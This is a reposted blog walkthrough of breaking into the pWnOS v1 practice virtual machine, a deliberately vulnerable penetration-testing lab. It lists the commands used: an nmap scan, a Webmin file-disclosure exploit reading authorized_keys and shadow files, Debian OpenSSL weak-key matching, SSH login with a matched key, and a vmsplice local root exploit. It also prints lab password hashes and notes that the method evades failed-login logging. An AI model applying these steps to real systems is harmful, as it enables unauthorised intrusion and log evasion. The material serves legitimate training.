Sunday, September 11, 2011


*** Do NOT attack any computer or network without authorization or you may put into jail. ***

Credit to : g0tmi1k

This is g0tmi1k's work but not mine. I re-post here for educational purpose only. It is because I enjoy his videos very much and I am afraid of losing them.

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What is this?

This is my walk though of how I broke into pWnOS v1.

pWnOS is on a "VM Image", that creates a target on which to practice penetration testing; with the "end goal" is to get root. It was designed to practice using exploits, with multiple entry points


A company dedicated to serving Webhosting hires you to perform a penetration test on one of its servers dedicated to the administration of their systems.

It's a linux virtual machine intentionally configured with exploitable services to provide you with a path to r00t.

What do I need?

BackTrack 4 (Final)
pWnOS.vmdk or milw0rm.

Name: pWnOS
Version: 1
Home Page:

Download Link: v1.0.part1.rar v1.0.part2.rar v1.0.part3.rar




nmap -sV -sS -O



firefox -> milw0rm/ -> search "Webmin" -> save. Filename:
*Webmin <> save. Filename: shadow

firefox -> milw0rm/ -> search "Debian OpenSSL" -> save. Filename:
*Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit* (perl) (python) (ruby) (perl) (python) (ruby)


perl 10000 /home/vmware/.ssh/authorized_keys
perl 10000 /home/obama/.ssh/authorized_keys
perl 10000 /home/osama/.ssh/authorized_keys
perl 10000 /home/yomama/.ssh/authorized_keys

tar jxvf

cd rsa/2048

grep -lr AAAAB3NzaC1yc2EAAAABIwAAAQEAzASM/LKs+FLB7zfmy14qQJUrsQsEOo9FNkoilHAgvQuiE5Wy9DwYVfLrkkcDB2uubtMzGw9hl3smD/OwUyXc/lNED7MNLS8JvehZbMJv1GkkMHvv1Vfcs6FVnBIfPBz0OqFrEGf+a4JEc/eF2R6nIJDIgnjBVeNcQaIM3NOr1rYPzgDwAH/yWoKfzNv5zeMUkMZ7OVC54AovoSujQC/VRdKzGRhhLQmyFVMH9v19UrLgJB6otLcr3d8/uAB2ypTw+LmuIPe9zqrMwxskdfY4Sth2rl6D3bq6Fwca+pYh++phOyKeDPYkBi3hx6R3b3ETZlNCLJjG7+t7kwFdF02Iuw rsa/2048/*.pub
grep -lr AAAAB3NzaC1yc2EAAAABIwAAAQEAxRuWHhMPelB60JctxC6BDxjqQXggf0ptx2wrcAw09HayPxMnKv+BFiGA/I1yXn5EqUfuLSDcTwiIeVSvqJl3NNI5HQUUc6KGlwrhCW464ksARX2ZAp9+6Yu7DphKZmtF5QsWaiJc7oV5il89zltwBDqR362AH49m8/3OcZp4XJqEAOlVWeT5/jikmke834CyTMlIcyPL85LpFw2aXQCJQIzvkCHJAfwTpwJTugGMB5Ng73omS82Q3ErbOhTSa5iBuE86SEkyyotEBUObgWU3QW6ZMWM0Rd9ErIgvps1r/qpteMMrgieSUKlF/LaeMezSXXkZrn0x+A2bKsw9GwMetQ rsa/2048/*.pub
*scans for the public key...*

ssh -i dcbe2a56e8cdea6d17495f6648329ee2-4679 obama@

ssh -i d8629ce6dc8f2492e1454c13f46adb26-4566 vmware@
uname -a

firefox -> milw0rm/ -> search "Linux Kernel 2.6" -> save. Filename: vmsplice.c
*Linux Kernel 2.6.17 - vmsplice Local Root Exploit* (c) (c)

nano vmsplice.c

gcc vmsplice.c -o vmsplice



root: root:$1$LKrO9Q3N$EBgJhPZFHiKXtK0QRqeSm/:14041:0:99999:7:::
vmware: vmware:$1$7nwi9F/D$AkdCcO2UfsCOM0IC8BYBb/:14042:0:99999:7:::
obama: obama:$1$hvDHcCfx$pj78hUduionhij9q9JrtA0:14041:0:99999:7:::
osama: osama:$1$Kqiv9qBp$eJg2uGCrOHoXGq0h5ehwe.:14041:0:99999:7:::
yomama: yomama:$1$tI4FJ.kP$wgDmweY9SAzJZYqW76oDA.:14041:0:99999:7:::


I had problems with the Debian OpenSSH/OpenSSL exploit, some times it would work, else it would be really slow or just cant find the correct exploit file. The method which I use, turns it into a offline attack, which makes it more stealthy as it will not log failed logins (e.g. /var/auth/auth.log. See here for reading it). It relies on the default path tho!

This is one method of getting in, the author did say that there is multiple ways in!

It took me a bit of work to also to get it to work with virtual box & static IP addresses.

That's all! See you.